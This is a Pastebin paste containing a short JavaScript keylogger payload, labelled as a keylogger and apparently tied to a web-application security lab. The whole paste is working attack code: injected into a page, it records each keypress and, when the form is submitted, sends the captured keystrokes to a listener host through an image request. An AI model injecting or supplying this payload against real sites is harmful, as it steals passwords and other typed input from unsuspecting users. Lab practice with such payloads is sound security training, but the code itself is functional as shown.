Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //keylogger
- // http://.com/lab/webapp/jfp/7
- <script>
- document.forms[0].addEventListener('submit',function(){
- new Image().src = "http://localhost:8000/?key="+cap;
- });
- var cap = '';
- window.addEventListener("keypress",function(event){
- switch(event.which) {
- case 13:
- cap +='<ENTER>';
- break;
- case 9:
- cap += "<TAB>";
- break;
- case 8:
- if(cap.length != 0){
- cap = cap.substring(0, cap.length-1);
- }
- break;
- default:
- cap += String.fromCodePoint(event.which);
- }
- });
- </script>
Add Comment
Please, Sign In to add comment